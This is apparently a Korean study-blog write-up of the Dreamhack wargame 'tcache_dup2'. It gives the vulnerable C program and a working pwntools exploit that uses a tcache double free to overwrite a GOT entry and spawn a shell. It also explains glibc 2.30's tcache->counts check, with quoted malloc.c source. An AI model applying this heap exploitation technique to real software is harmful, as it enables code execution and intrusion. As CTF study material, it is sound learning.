TIL: tcache poisoning 2, __libc_malloc ๐Ÿง

Wargame: tcache_dup2

๋ฌธ์ œ์˜ ์†Œ์Šค ์ฝ”๋“œ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
        size_t size;

        if( idx >= 7 )
                exit(0);

        printf("Size: ");
        scanf("%ld", &size);

        ptr[idx] = malloc(size);

        if(!ptr[idx])
                exit(0);

        printf("Data: ");
        read(0, ptr[idx], size-1);

}

void modify_heap() {
        size_t size, idx;

        printf("idx: ");
        scanf("%ld", &idx);

        if( idx >= 7 )
                exit(0);

        printf("Size: ");
        scanf("%ld", &size);

        if( size > 0x10 )
                exit(0);

        printf("Data: ");
        read(0, ptr[idx], size);
}

void delete_heap() {
        size_t idx;

        printf("idx: ");
        scanf("%ld", &idx);
        if( idx >= 7 )
                exit(0);

        if( !ptr[idx] )
                exit(0);

        free(ptr[idx]);
}

void get_shell() {
        system("/bin/sh");
}
int main() {
        int idx;
        int i = 0;

        initialize();

        while(1) {
                printf("1. Create heap\n");
                printf("2. Modify heap\n");
                printf("3. Delete heap\n");
                printf("> ");

                scanf("%d", &idx);

                switch(idx) {
                        case 1:
                                create_heap(i);
                                i++;
                                break;
                        case 2:
                                modify_heap();
                                break;
                        case 3:
                                delete_heap();
                                break;
                        default:
                                break;
                }
        }
}

Vulnerability Scanning

  • checksec

  • ์ด์ „์˜ ๋ฌธ์ œ๋“ค๊ณผ ๊ฑฐ์˜ ๋™์ผํ•œ ์ทจ์•ฝ์ ์„ ๊ฐ€์ง€๋ฏ€๋กœ ์ƒ๋žตํ•œ๋‹ค.

Exploit

from pwn import *

#p = process("./tcache_dup2")
p = remote("host1.dreamhack.games", 17936)
#gdb.attach(p)
e = ELF("./tcache_dup2")

def create(size, data):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)

def modify(idx, size, data):
    p.sendlineafter("> ", "2")
    p.sendlineafter("idx: ", str(idx))
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)

def delete(idx):
    p.sendlineafter("> ", "3")
    p.sendlineafter("idx: ", str(idx))

# DFB
create(0x30, "A")
create(0x30, "A")

delete(0)
delete(1)

modify(1, 10, "AAAAAAAAB")
delete(1)

exit_got = e.got["exit"]
get_shell = e.symbols["get_shell"]

# overwrite GOT
create(0x30, p64(exit_got))
create(0x30, "AAAA")
create(0x30, p64(get_shell))

delete(7) # exit์„ ์‹คํ–‰

p.interactive()
  • ๋ฌธ์ œ์—์„œ ์ฃผ์–ด์ง„ libc์˜ version์ด 2.30์ด๋ฏ€๋กœ chunk์˜ key๋ฅผ ๋ณ€๊ฒฝํ•œ ํ›„ DFB๋ฅผ ์ผ์œผ์ผœ์•ผ ํ•œ๋‹ค.
  • ์ด exploit code์—์„œ๋Š” exit_got๋ฅผ overwriteํ–ˆ๋Š”๋ฐ, printf๋‚˜ free์™€ ๊ฐ™์€ ๋‹ค๋ฅธ ํ•จ์ˆ˜๋กœ overwriteํ–ˆ์„ ๊ฒฝ์šฐ exploit์ด ์‹คํŒจํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์—ˆ๋‹ค. ์ด์œ ๋ฅผ ํŒŒ์•…ํ•˜๊ธฐ ์œ„ํ•ด got๋ฅผ gdb๋กœ ํ™•์ธํ•ด๋ณด๋ฉด ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

    printf_got + 8 == read_got, free_got + 8 == puts_got์ž„์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด ์ƒํƒœ์—์„œ printf_got๋‚˜ free_got๋ฅผ ๋Œ€์ƒ์œผ๋กœ read(0, ptr[idx], size - 1);์„ ์‹คํ–‰ํ•˜๊ฒŒ ๋  ๊ฒฝ์šฐ size๊ฐ€ 0x30์ด๋ฏ€๋กœ read_got, puts_got์˜ ๊ฐ’์ด ๋ณ€ํ™”ํ•˜๊ฒŒ ๋  ๊ฒƒ์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

    ์‹ค์ œ๋กœ free_got๋ฅผ ๋Œ€์ƒ์œผ๋กœ exploit์„ ํ•œ ํ›„ gdb๋กœ got์˜ ๋ณ€ํ™”๋ฅผ ํ™•์ธํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

    free_got๋Š” get_shell์˜ ์ฃผ์†Œ๋กœ ์ž˜ overwrite๋˜์—ˆ์ง€๋งŒ, puts_got๋„ 0์œผ๋กœ overwrite๋˜์—ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ๋œ ๊ฒฝ์šฐ ์ดํ›„ puts๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ ๋˜๋ฉด sigmentation fault๊ฐ€ ๋ฐœ์ƒํ•˜๊ฒŒ ๋œ๋‹ค.

    (๊ทผ๋ฐ ์™œ size๊ฐ€ 0x30์ธ๋ฐ ๋”ฑ ๋‹ค์Œ byte์ธ puts_got๋งŒ overwrite๋˜๊ณ , ๊ทธ ๋‹ค์Œ byte๋“ค์€ ์˜จ์ „ํ•œ๊ฑด์ง€ ์ž˜ ๋ชจ๋ฅด๊ฒ ๋‹ค..)

Exploit Code์—์„œ tcache chunk๋ฅผ ํ•˜๋‚˜ ๋” ์ถ”๊ฐ€ํ•˜๋Š” ์ด์œ 

์œ„์˜ exploit code๋ฅผ ๋ณด๋ฉด create(0x30, "A")๋ฅผ ๋‘ ๋ฒˆ ์‹คํ–‰ํ•˜๊ณ , delete๋„ ๋‘ ๋ฒˆ ์‹คํ–‰ํ•ด์„œ ์ผ๋ถ€๋Ÿฌ tcache์— ๋‘ ๊ฐœ์˜ chunk๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๋ชจ์Šต์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด ๊ณผ์ •์€ glibc 2.27๋ฅผ ์‚ฌ์šฉํ•˜๋Š” local ํ™˜๊ฒฝ์—์„œ๋Š” ํ•„์š”ํ•˜์ง€ ์•Š์•˜์ง€๋งŒ, glibc 2.30์„ ์‚ฌ์šฉํ•˜๋Š” remote ํ™˜๊ฒฝ์—์„œ๋Š” ํ•„์ˆ˜์ ์ด์—ˆ๋Š”๋ฐ, ์–ด์งธ์„œ ์ด ๋ถ€๋ถ„์ด ํ•„์š”ํ•˜๊ฒŒ ๋˜์—ˆ๋Š”์ง€ ์ฐพ์•„๋ณด์•˜๋‹ค. ์ด ๊ณผ์ •์—์„œ ๊ณต๋ถ€ํ•˜๊ฒŒ ๋œ ๋‚ด์šฉ์„ ๊ธฐ๋กํ•œ๋‹ค.

glibc 2.30์—์„œ๋Š” tcache์— ์กด์žฌํ•˜๋Š” chunk์˜ ๊ฐœ์ˆ˜๋ฅผ countํ•˜๋Š” ๋ณ€์ˆ˜(tcacheโ†’counts)๊ฐ€ ์กด์žฌํ•œ๋‹ค. ๋งŒ์•ฝ ์ด count๊ฐ€ 0์ผ ๊ฒฝ์šฐ์—๋Š” __libc_malloc์€ tcache_get์„ ์‹คํ–‰ํ•˜์ง€ ์•Š๊ณ , __int_malloc์œผ๋กœ memory๋ฅผ allocateํ•œ๋‹ค.

__libc_malloc์˜ ์ „์ฒด ํ๋ฆ„

(์ฐธ๊ณ : https://wogh8732.tistory.com/181)

  1. ๊ฐ€์žฅ ๋จผ์ € libc_malloc์ด ์‹คํ–‰๋œ๋‹ค. _malloc_hook์ด ์กด์žฌํ•˜๋ฉด hook์„ ์‹คํ–‰ํ•œ๋‹ค.
  2. tcache๊ฐ€ ๋น„์–ด์žˆ๋‹ค๋ฉด MAYBE_INIT_TCACHE๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.
    1. ์ด ํ•จ์ˆ˜ ์•ˆ์—์„œ tcache_init์ด ์‹คํ–‰๋œ๋‹ค.
    2. tcache_init์—์„œ _int_malloc์„ ์‹คํ–‰ํ•˜์—ฌ tcache_perthread_struct chunk๋ฅผ ํ• ๋‹น๋ฐ›๋Š”๋‹ค
  3. ์š”์ฒญ๋œ size์— ํ•ด๋‹นํ•˜๋Š” tcache chunk๊ฐ€ ์กด์žฌํ•œ๋‹ค๋ฉด, (tcacheโ†’counts[tc_idx] > 0) tcache_get์„ ์ด์šฉํ•ด ์žฌํ• ๋‹นํ•œ๋‹ค.
  4. Reallocateํ•  ๋งˆ๋•…ํ•œ chunk๊ฐ€ tcache์— ์—†๋‹ค๋ฉด, _int_malloc์„ ์‹คํ–‰ํ•œ๋‹ค.
  5. Fastbin, Unsorted bin, Small bin์„ ํ™•์ธํ•˜๊ณ , reallocate ๊ฐ€๋Šฅํ•œ chunk๊ฐ€ ์žˆ๋‹ค๋ฉด reallocateํ•œ๋‹ค. ๋˜ํ•œ tcache_entry[tc_idx]์— ์ž๋ฆฌ๊ฐ€ ๋น„์–ด ์žˆ๋‹ค๋ฉด tcache์— ๋„ฃ์„ ์ˆ˜ ์žˆ๋Š” ๋งŒํผ bin๋“ค์— ์žˆ๋Š” chunk๋ฅผ ๋„ฃ๋Š”๋‹ค.
  6. Reallocateํ•œ chunk์˜ ์ฃผ์†Œ๋ฅผ returnํ•œ๋‹ค.

tcache->counts์˜ ์‚ฌ์šฉ์„ Code๋กœ ํ™•์ธํ•˜๊ธฐ

glibc 2.30์˜ malloc.c๋ฅผ ์‚ดํŽด๋ณด๋ฉด, tcache->counts๋ผ๋Š” ๋ณ€์ˆ˜์˜ ์ž‘๋™ ๋ฐฉ์‹์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. (๋งํฌ)

  • ์šฐ์„  counts๋Š” ์•„๋ž˜์™€ ๊ฐ™์ด ์ •์˜๋˜์–ด ์žˆ๋‹ค.

      3112 typedef struct tcache_perthread_struct
      3113 {
      3114   uint16_t counts[TCACHE_MAX_BINS];
      3115   tcache_entry *entries[TCACHE_MAX_BINS];
      3116 } tcache_perthread_struct;
      3117
      3118 static __thread bool tcache_shutting_down = false;
      3119 static __thread tcache_perthread_struct *tcache = NULL;
    
  • tcache_get, tcache_put์—์„œ tcache_counts๊ฐ€ ์–ด๋–ป๊ฒŒ ์‚ฌ์šฉ๋˜๋Š”์ง€ ์‚ดํŽด๋ณด์ž.

      3148 static __always_inline void
      3149 tcache_put (mchunkptr chunk, size_t tc_idx)
      3150 {
      3151   tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
      3152 
      3153   /* Mark this chunk as "in the tcache" so the test in _int_free will
      3154      detect a double free.  */
      3155   e->key = tcache_key;
      3156 
      3157   e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
      3158   tcache->entries[tc_idx] = e;
      3159   ++(tcache->counts[tc_idx]);
      3160 }
      3161 
      3162 /* Caller must ensure that we know tc_idx is valid and there's
      3163    available chunks to remove.  */
      3164 static __always_inline void *
      3165 tcache_get (size_t tc_idx)
      3166 {
      3167   tcache_entry *e = tcache->entries[tc_idx];
      3168   if (__glibc_unlikely (!aligned_OK (e)))
      3169     malloc_printerr ("malloc(): unaligned tcache chunk detected");
      3170   tcache->entries[tc_idx] = REVEAL_PTR (e->next);
      3171   --(tcache->counts[tc_idx]);
      3172   e->key = 0;
      3173   return (void *) e;
      3174 }
    
    • 3159๋ฒˆ, 3171๋ฒˆ line์—์„œ chunk๊ฐ€ tcache์— ์ถ”๊ฐ€ ๋ฐ ์ œ๊ฑฐ๋  ๋•Œ๋งˆ๋‹ค tcache->counts[tc_idx]๊ฐ€ update๋จ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
  • glibc 2.30์˜ __libc_malloc์—์„œ tcache_counts๊ฐ€ ์–ด๋–ป๊ฒŒ ์‚ฌ์šฉ๋˜๋Š”์ง€ ์‚ดํŽด๋ณด์ž.

      3258 #if IS_IN (libc)
      3259 void *
      3260 __libc_malloc (size_t bytes)
      3261 {
      3262   mstate ar_ptr;
      3263   void *victim;
      3264
      3265   _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
      3266                   "PTRDIFF_MAX is not more than half of SIZE_MAX");
      3267
      3268   if (!__malloc_initialized)
      3269     ptmalloc_init ();
      3270 #if USE_TCACHE
      3271   /* int_free also calls request2size, be careful to not pad twice.  */
      3272   size_t tbytes = checked_request2size (bytes);
      3273   if (tbytes == 0)
      3274     {
      3275       __set_errno (ENOMEM);
      3276       return NULL;
      3277     }
      3278   size_t tc_idx = csize2tidx (tbytes);
      3279
      3280   MAYBE_INIT_TCACHE ();
      3281
      3282   DIAG_PUSH_NEEDS_COMMENT;
      3283   if (tc_idx < mp_.tcache_bins
      3284       && tcache
      3285       && tcache->counts[tc_idx] > 0)
      3286     {
      3287       victim = tcache_get (tc_idx);
      3288       return tag_new_usable (victim);
      3289     }
      3290   DIAG_POP_NEEDS_COMMENT;
      3291 #endif
      3292
      3293   if (SINGLE_THREAD_P)
      3294     {
      3295       victim = tag_new_usable (_int_malloc (&main_arena, bytes));
      3296       assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
      3297               &main_arena == arena_for_chunk (mem2chunk (victim)));
      3298       return victim;
      3299     }
      3300
      3301   arena_get (ar_ptr, bytes);
      3302
      3303   victim = _int_malloc (ar_ptr, bytes);
      3304   /* Retry with another arena only if we were able to find a usable arena
      3305      before.  */
      3306   if (!victim && ar_ptr != NULL)
      3307     {
      3308       LIBC_PROBE (memory_malloc_retry, 1, bytes);
      3309       ar_ptr = arena_get_retry (ar_ptr, bytes);
      3310       victim = _int_malloc (ar_ptr, bytes);
      3311     }
      3312
      3313   if (ar_ptr != NULL)
      3314     __libc_lock_unlock (ar_ptr->mutex);
      3315
      3316   victim = tag_new_usable (victim);
      3317
      3318   assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
      3319           ar_ptr == arena_for_chunk (mem2chunk (victim)));
      3320   return victim;
      3321 }
        
    
    • 3285๋ฒˆ line์—์„œ tcache_counts[tc_idx]๊ฐ€ 0๋ณด๋‹ค ์ปค์•ผ๋งŒ tcache_get์„ ์‹คํ–‰ํ•จ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
  • glibc 2.27์˜ __libc_malloc์—์„œ๋Š” tcache_counts[tc_idx]์˜ ๊ฐ’์„ ํ™•์ธํ•˜์ง€ ์•Š์Œ์„ ์•„๋ž˜์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. (๋งํฌ)

      3026 void *
      3027 __libc_malloc (size_t bytes)
      3028 {
      3029   mstate ar_ptr;
      3030   void *victim;
      3031 
      3032   void *(*hook) (size_t, const void *)
      3033     = atomic_forced_read (__malloc_hook);
      3034   if (__builtin_expect (hook != NULL, 0))
      3035     return (*hook)(bytes, RETURN_ADDRESS (0));
      3036 #if USE_TCACHE
      3037   /* int_free also calls request2size, be careful to not pad twice.  */
      3038   size_t tbytes;
      3039   checked_request2size (bytes, tbytes);
      3040   size_t tc_idx = csize2tidx (tbytes);
      3041 
      3042   MAYBE_INIT_TCACHE ();
      3043 
      3044   DIAG_PUSH_NEEDS_COMMENT;
      3045   if (tc_idx < mp_.tcache_bins
      3046       /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
      3047       && tcache
      3048       && tcache->entries[tc_idx] != NULL)
      3049     {
      3050       return tcache_get (tc_idx);
      3051     }
      3052   DIAG_POP_NEEDS_COMMENT;
      3053 #endif
      3054 
      3055   if (SINGLE_THREAD_P)
      3056     {
      3057       victim = _int_malloc (&main_arena, bytes);
      3058       assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
      3059               &main_arena == arena_for_chunk (mem2chunk (victim)));
      3060       return victim;
      3061     }
      3062 
      3063   arena_get (ar_ptr, bytes);
      3064 
      3065   victim = _int_malloc (ar_ptr, bytes);
      3066   /* Retry with another arena only if we were able to find a usable arena
      3067      before.  */
      3068   if (!victim && ar_ptr != NULL)
      3069     {
      3070       LIBC_PROBE (memory_malloc_retry, 1, bytes);
      3071       ar_ptr = arena_get_retry (ar_ptr, bytes);
      3072       victim = _int_malloc (ar_ptr, bytes);
      3073     }
      3074 
      3075   if (ar_ptr != NULL)
      3076     __libc_lock_unlock (ar_ptr->mutex);
      3077 
      3078   assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
      3079           ar_ptr == arena_for_chunk (mem2chunk (victim)));
      3080   return victim;
      3081 }
    

๊ฒฐ๋ก 

tcache์— ์กด์žฌํ•˜๋Š” chunk์˜ ๊ฐœ์ˆ˜๋ฅผ ์„ธ๋Š” ๋ณ€์ˆ˜ tcache->counts[tc_idx]์˜ ๊ฐ’์„ ์‹ ๊ฒฝ์“ฐ์ง€ ์•Š๊ณ  ์•„๋ž˜์™€ ๊ฐ™์ด exploit์„ ์œ„ํ•ด DFB๋ฅผ ์ผ์œผ์ผฐ๋‹ค๊ณ  ์ƒ๊ฐํ•ด๋ณด์ž.

# ...
# DFB
create(0x30, "A")

delete(0)

modify(0, 10, "AAAAAAAAB")
delete(0)

# overwrite GOT
create(0x30, p64(exit_got))
create(0x30, "AAAA")
create(0x30, p64(get_shell))

delete(7) # exit์„ ์‹คํ–‰

p.interactive()

์ด ๊ฒฝ์šฐ tcache->counts[tc_idx]์˜ ๊ฐ’์ด DFB๊ฐ€ ์ผ์–ด๋‚œ ํ›„์—๋Š” -1์ด ๋˜๋ฏ€๋กœ, create(0x30, p64(exit_got))๋ฅผ ์‹คํ–‰ํ–ˆ์„ ๋•Œ __libc_malloc์€ tcache์— ์žˆ๋Š” ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” chunk๊ฐ€ ์•„๋‹Œ, ๋‹ค๋ฅธ chunk๋ฅผ returnํ•  ๊ฒƒ์ด๊ณ , ๋”ฐ๋ผ์„œ got overwriting์ด ์‹คํŒจํ•˜๊ฒŒ ๋  ๊ฒƒ์ด๋‹ค.

๋”ฐ๋ผ์„œ tcache->counts[tc_idx]์˜ ๊ฐ’์ด 0 ์ด์ƒ์ด ๋˜๋„๋ก ๊ธฐ์กด์˜ exploit code์ฒ˜๋Ÿผ ํ•˜๋‚˜์˜ chunk๋ฅผ ์ถ”๊ฐ€๋กœ tcache์— ๋„ฃ์–ด์ค˜์•ผ ํ•  ๊ฒƒ์ด๋‹ค.

Categories: ,

Updated:

Leave a comment